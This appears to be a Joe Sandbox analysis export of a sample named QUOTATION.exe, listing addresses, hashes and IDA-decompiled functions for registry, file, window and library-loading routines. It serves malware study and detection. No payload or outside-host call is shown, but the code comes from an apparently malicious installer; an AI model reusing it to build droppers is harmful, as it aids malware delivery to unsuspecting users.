0x00406de0
0x00406de3
0x00406de6
0x00406de9
0x00406dec
0x00406def
0x00406df2
0x00406df5
0x00406e0e
0x00406e11
0x00406e14
0x00406e17
0x00406e1b
0x00406e1d
0x00406e1d
0x00406e1e
0x00406e21
0x00406df7
0x00406df7
0x00406dff
0x00406e04
0x00406e06
0x00406e09
0x00406e09
0x00406e24
0x00406e2b
0x00000000
0x00406e2d
0x00000000
0x00406e2d
0x00000000
0x00406ac9
0x00406acc
0x00406b02
0x00406c32
0x00406c32
0x00406c32
0x00406c32
0x00406c35
0x00406c35
0x00406c38
0x00406c3a
0x00406ec4
0x00000000
0x00406ec4
0x00406c40
0x00406c43
0x00000000
0x00000000
0x00406c49
0x00406c4d
0x00406c50
0x00406c50
0x00406c50
0x00000000
0x00406c50
0x00406ace
0x00406ad0
0x00406ad2
0x00406ad4
0x00406ad7
0x00406ad8
0x00406ada
0x00406adc
0x00406adf
0x00406ae2
0x00406af8
0x00406afd
0x00406b35
0x00406b35
0x00406b39
0x00406b65
0x00406b67
0x00406b6e
0x00406b71
0x00406b74
0x00406b74
0x00406b79
0x00406b79
0x00406b7b
0x00406b7e
0x00406b85
0x00406b88
0x00406bb5
0x00406bb5
0x00406bb8
0x00406bbb
0x00406c2f
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bbd
0x00406bc3
0x00406bc6
0x00406bc9
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bdb
0x00406bde
0x00406bf7
0x00406bf9
0x00406bfc
0x00406bfd
0x00406c00
0x00406c02
0x00406c05
0x00406c07
0x00406c09
0x00406c0c
0x00406c0e
0x00406c11
0x00406c15
0x00406c17
0x00406c17
0x00406c18
0x00406c1b
0x00406c1e
0x00406be0
0x00406be0
0x00406be8
0x00406bed
0x00406bef
0x00406bf2
0x00406bf2
0x00406c21
0x00406c28
0x00406bb2
0x00406bb2
0x00406bb2
0x00406bb2
0x00000000
0x00406c2a
0x00000000
0x00406c2a
0x00406c28
0x00406b3b
0x00406b3e
0x00406b40
0x00406b43
0x00406b46
0x00406b49
0x00406b4b
0x00406b4e
0x00406b51
0x00406b51
0x00406b54
0x00406b54
0x00406b57
0x00406b5e
0x00406b32
0x00406b32
0x00406b32
0x00406b32
0x00000000
0x00406b60
0x00000000
0x00406b60
0x00406b5e
0x00406ae4
0x00406ae7
0x00406ae9
0x00406aec
0x00000000
0x00000000
0x0040684b
0x0040684b
0x0040684f
0x00406e94
0x00000000
0x00406e94
0x00406855
0x00406858
0x0040685b
0x0040685e
0x00406861
0x00406864
0x00406867
0x00406869
0x0040686c
0x0040686f
0x00406872
0x00406874
0x00406874
0x00406874
0x00000000
0x00000000
0x004069d6
0x004069d6
0x004069da
0x00406ea0
0x00000000
0x00406ea0
0x004069e0
0x004069e3
0x004069e6
0x004069e9
0x004069eb
0x004069eb
0x004069eb
0x004069ee
0x004069f1
0x004069f4
0x004069f7
0x004069fa
0x004069fd
0x004069fe
0x00406a00
0x00406a00
0x00406a00
0x00406a03
0x00406a06
0x00406a09
0x00406a0c
0x00406a0c
0x00406a0c
0x00406a0f
0x00406a11
0x00406a11
0x00000000
0x00000000
0x00406c53
0x00406c53
0x00406c53
0x00406c57
0x00000000
0x00000000
0x00406c5d
0x00406c60
0x00406c63
0x00406c66
0x00406c68
0x00406c68
0x00406c68
0x00406c6b
0x00406c6e
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7b
0x00406c7d
0x00406c7d
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c90
0x00406c92
0x00406c95
0x00000000
0x00406c97
0x00406a14
0x00406a14
0x00000000
0x00406a14
0x00406c95
0x00406eca
0x00000000
0x00000000
0x004064f9
0x00406f01
0x00406f01
0x00000000
0x00406f01
0x00406d4e
0x00406cd5
0x00406cd2

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90803f23476dcfb414c0400bb9d8b7cdb0b3ca45f440242c86af8c4d62fdd6e9
Instruction ID: 34c5161cf4e4322df4c522de15ced9ded486b5ca7425d8c28145854c0c0886a7
Opcode Fuzzy Hash: 90803f23476dcfb414c0400bb9d8b7cdb0b3ca45f440242c86af8c4d62fdd6e9
Instruction Fuzzy Hash: 29714571D04229DBEF28CF98C844BADBBB1FB44305F15806AD816BB281C7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040254C Relevance: 4.5, APIs: 3, Instructions: 47
registryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040254C(int* __ebx, intOrPtr __edx, char* __esi) {
				void* _t9;
				int _t10;
				long _t13;
				int* _t16;
				intOrPtr _t21;
				void* _t22;
				char* _t24;
				void* _t26;
				void* _t29;

				_t24 = __esi;
				_t21 = __edx;
				_t16 = __ebx;
				_t9 = E00402B6C(_t29, 0x20019); // executed
				_t22 = _t9;
				_t10 = E00402B0A(3);
				 *((intOrPtr*)(_t26 - 0x10)) = _t21;
				 *__esi = __ebx;
				if(_t22 == __ebx) {
					 *((intOrPtr*)(_t26 - 4)) = 1;
				} else {
					 *(_t26 + 8) = 0x3ff;
					if( *((intOrPtr*)(_t26 - 0x24)) == __ebx) {
						_t13 = RegEnumValueA(_t22, _t10, __esi, _t26 + 8, __ebx, __ebx, __ebx, __ebx);
						__eflags = _t13;
						if(_t13 != 0) {
							 *((intOrPtr*)(_t26 - 4)) = 1;
						}
					} else {
						RegEnumKeyA(_t22, _t10, __esi, 0x3ff);
					}
					_t24[0x3ff] = _t16;
					_push(_t22);
					RegCloseKey();
				}
				 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t26 - 4));
				return 0;
			}

0x0040254c
0x0040254c
0x0040254c
0x00402551
0x00402558
0x0040255a
0x00402562
0x00402565
0x00402567
0x00402783
0x0040256d
0x00402575
0x00402578
0x00402591
0x00402597
0x00402599
0x0040259b
0x0040259b
0x0040257a
0x0040257e
0x0040257e
0x004025a2
0x004025a8
0x004025a9
0x004025a9
0x004029bb
0x004029c7

APIs

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040257E
RegEnumValueA.ADVAPI32(00000000,00000000,?,?), ref: 00402591
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsg9F21.tmp,00000000,00000011,00000002), ref: 004025A9

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 095019f322b6c40d92cef5b4465a19737fb82d48870a7b4a86778a7d8ee6d3d7
Instruction ID: 35fd857a3e442691b1a787247be78dd7b49a46040516f967143c2ea575d22cfd
Opcode Fuzzy Hash: 095019f322b6c40d92cef5b4465a19737fb82d48870a7b4a86778a7d8ee6d3d7
Instruction Fuzzy Hash: 5801B1B1905204FFE7119F659E89ABF7ABCEB40344F10443EF402B62C0D6B85E019669

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401389(signed int _a4) {
				intOrPtr* _t6;
				void* _t8;
				void* _t10;
				signed int _t11;
				void* _t12;
				signed int _t16;
				signed int _t17;
				void* _t18;

				_t17 = _a4;
				while(_t17 >= 0) {
					_t6 = _t17 * 0x1c +  *0x423750;
					if( *_t6 == 1) {
						break;
					}
					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x422eec =  *0x422eec + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x422eec, 0x7530,  *0x422ed4), 0); // executed
					}
				}
				return 0;
			}

0x0040138a
0x004013fa
0x0040139b
0x004013a0
0x00000000
0x00000000
0x004013a2
0x004013a3
0x004013ad
0x00000000
0x00401404
0x004013b0
0x004013b7
0x004013bd
0x004013be
0x004013c0
0x004013c2
0x004013b9
0x004013b9
0x004013ba
0x004013ba
0x004013c9
0x004013cb
0x004013f4
0x004013f4
0x004013c9
0x00000000

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 42208f6ee167e53754ec85f902deef064f05172097489c9424a2864a03bb7ea4
Instruction ID: 3754a530b6758dc8908f2ef617aa9c280200ea706ec51d0fb7e67c491179f4d9
Opcode Fuzzy Hash: 42208f6ee167e53754ec85f902deef064f05172097489c9424a2864a03bb7ea4
Instruction Fuzzy Hash: A3012831724210ABE7294B389D04B2A369CE710328F11823BF811F72F1D6B8DC02DB4D

Uniqueness

Uniqueness Score: -1.00%

Function 00401A1E Relevance: 3.0, APIs: 2, Instructions: 30
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401A1E(char __ebx) {
				CHAR* _t7;
				long _t8;
				char _t12;
				CHAR* _t17;
				void* _t19;

				_t12 = __ebx;
				_t7 = E00402B2C(1);
				 *(_t19 + 8) = _t7;
				_t8 = ExpandEnvironmentStringsA(_t7, _t17, 0x400); // executed
				if(_t8 == 0 ||  *((intOrPtr*)(_t19 - 0x2c)) != __ebx && lstrcmpA( *(_t19 + 8), _t17) == 0) {
					 *((intOrPtr*)(_t19 - 4)) = 1;
					 *_t17 = _t12;
				}
				_t17[0x3ff] = _t12;
				 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t19 - 4));
				return 0;
			}

0x00401a1e
0x00401a22
0x00401a2e
0x00401a31
0x00401a39
0x00401a4e
0x00401a51
0x00401a51
0x00401a53
0x004029bb
0x004029c7

APIs

ExpandEnvironmentStringsA.KERNELBASE(00000000,?,00000400,00000001), ref: 00401A31
lstrcmpA.KERNEL32(?,?,?,00000400,00000001), ref: 00401A44

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: EnvironmentExpandStringslstrcmp
String ID:
API String ID: 1938659011-0
Opcode ID: 7b54e289e4817a3f322a7e849ea66bab3a10ae1c18b877263ce7955cfc432a77
Instruction ID: 79d5ad403a5aaaf22ef605bc71de2bbac2c7999a6642915e38ea97ae4a47edd5
Opcode Fuzzy Hash: 7b54e289e4817a3f322a7e849ea66bab3a10ae1c18b877263ce7955cfc432a77
Instruction Fuzzy Hash: BAF0A771B09240EBCB21DF759D44A9F7FE8EF91354B10803BE145F6290D2388901CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401E8F Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401EAD
EnableWindow.USER32(00000000,00000000), ref: 00401EB8

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: a913115b0b618877984699264344b8a1880e6ceeac658a5775d41212f4eb71b2
Instruction ID: ea2ebfb6392eb1d35c1d77cf7a204b1acfca181ccf64587d83a13520139c7bad
Opcode Fuzzy Hash: a913115b0b618877984699264344b8a1880e6ceeac658a5775d41212f4eb71b2
Instruction Fuzzy Hash: C8E012B2A08210DFD715DFA8AA859AE77B4FB84325F10493BE102F12D1D7B85940965D

Uniqueness

Uniqueness Score: -1.00%

Function 0040156F Relevance: 3.0, APIs: 2, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040156F(void* __ebx, int __edx) {
				int _t3;
				void* _t8;
				struct HWND__* _t10;
				struct HWND__* _t11;
				void* _t16;

				_t8 = __ebx;
				_t10 =  *0x422ed0; // 0x103ce
				if(_t10 != __ebx) {
					ShowWindow(_t10, __edx); // executed
					_t3 =  *(_t16 - 0x34);
				}
				_t11 =  *0x422ee4; // 0x103c8
				if(_t11 != _t8) {
					ShowWindow(_t11, _t3); // executed
				}
				 *0x4237a8 =  *0x4237a8 +  *((intOrPtr*)(_t16 - 4));
				return 0;
			}

0x0040156f
0x0040156f
0x0040157d
0x00401581
0x00401583
0x00401583
0x00401586
0x0040158e
0x00401596
0x00401596
0x004029bb
0x004029c7

APIs

ShowWindow.USER32(000103CE), ref: 00401581
ShowWindow.USER32(000103C8), ref: 00401596

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 01b8f08c91b687540e8bb59e961ce2b0c28ac7e6e5880a628e7803932cc216c7
Instruction ID: 9b4c08dd34b2d0c6cc2545b51cfcf00afa42d444c9e8f3eecf44a84becef43f7
Opcode Fuzzy Hash: 01b8f08c91b687540e8bb59e961ce2b0c28ac7e6e5880a628e7803932cc216c7
Instruction Fuzzy Hash: 7BE086B6B10100BBCB24CF54EE8087E73AAEB84310750053FE502F3290C2B49D418B58

Uniqueness

Uniqueness Score: -1.00%

Function 00406372 Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406372(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x409240);
				_t5 = GetModuleHandleA( *(_t10 + 0x409240));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x409244));
				}
				_t5 = E00406304(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}

0x0040637a
0x0040637d
0x00406384
0x0040638c
0x00406398
0x00000000
0x0040639f
0x0040638f
0x00406396
0x00000000
0x004063a7
0x00000000

APIs

GetModuleHandleA.KERNEL32(?,?,?,004032A8,0000000A), ref: 00406384
GetProcAddress.KERNEL32(00000000,?), ref: 0040639F

Part of subcall function 00406304: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040631B
Part of subcall function 00406304: wsprintfA.USER32 ref: 00406354
Part of subcall function 00406304: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406368

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: b4adfc3f0f4b19c213d1a711131d711d9af4f575b66eeead30b066e316f5e6c0
Instruction ID: 5c1bd2d9329a739c8a877d318ed38f6c7ac4115b407851283e1fe7e546b0050a
Opcode Fuzzy Hash: b4adfc3f0f4b19c213d1a711131d711d9af4f575b66eeead30b066e316f5e6c0
Instruction Fuzzy Hash: 85E08C32A08210ABD7106B709D0493B72E89B85700302483EFE0AF2191D738EC21AAA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405B73 Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00405B73(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, 1, 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}

0x00405b77
0x00405b84
0x00405b99
0x00405b9f

APIs

GetFileAttributesA.KERNELBASE(00000003,00402E04,C:\Users\user\Desktop\QUOTATION.exe,80000000,00000003), ref: 00405B77
CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B99

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 3bf94be8ffed2da7c2b8ff60cd5efa52f63dfdc5f5010c3a9122643b4e997265
Instruction ID: 2f873e3f3c43f12a3908621a4267836d753c9203ad123c8b10a06e7f93ada197
Opcode Fuzzy Hash: 3bf94be8ffed2da7c2b8ff60cd5efa52f63dfdc5f5010c3a9122643b4e997265
Instruction Fuzzy Hash: C7D09E31658201EFEF098F20DD16F2EBBA2EB84B00F10962CB642944E0D6715815AB16

Uniqueness

Uniqueness Score: -1.00%

Function 00405B4E Relevance: 3.0, APIs: 2, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405B4E(CHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesA(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesA(_a4, _t3 & 0x000000fe);
				}
				return _t7;
			}

0x00405b53
0x00405b59
0x00405b5e
0x00405b67
0x00405b67
0x00405b70

APIs

GetFileAttributesA.KERNELBASE(?,?,00405766,?,?,00000000,00405949,?,?,?,?), ref: 00405B53
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405B67

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 724933c4db900905a8c2715ee946fd38794509a16b0cd5d1c9e98f984372ebec
Instruction ID: bc9e1bfcb83978c8760ec7414183e34ad4d98f7a4e3f8d166b670055928ff6f8
Opcode Fuzzy Hash: 724933c4db900905a8c2715ee946fd38794509a16b0cd5d1c9e98f984372ebec
Instruction Fuzzy Hash: BCD01272908025AFC2102728EE0C89BBFA5DB543B17058B71FD65A22F0D7305C529AAA

Uniqueness

Uniqueness Score: -1.00%

Function 00405644 Relevance: 3.0, APIs: 2, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405644(CHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryA(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}

0x0040564a
0x00405652
0x00000000
0x00405658
0x00000000

APIs

CreateDirectoryA.KERNELBASE(?,00000000,00403228,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403447,?,00000006,00000008,0000000A), ref: 0040564A
GetLastError.KERNEL32(?,00000006,00000008,0000000A), ref: 00405658

Memory Dump Source

Source File: 00000002.00000002.3670977684.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3670951494.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671039048.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671068267.0000000000433000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3671365540.0000000000436000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_QUOTATION.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 6853200a5fdab59dd982fbc96a9ce2e8b021ac935e945b0af5f1b11de4538164
Instruction ID: fc3bbe6b068c7ca676e2af9f6a434936c7df2cd1c21a2d5f2b74ac8b5b27fed5
Opcode Fuzzy Hash: 6853200a5fdab59dd982fbc96a9ce2e8b021ac935e945b0af5f1b11de4538164
Instruction Fuzzy Hash: 0BC08C30688101AADA002B308D08B073A55AB20340F608836600AE00F0CA32A600DD3F

Uniqueness

Uniqueness Score: -1.00%

Function 00402631 Relevance: 1.6, APIs: 1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 100%

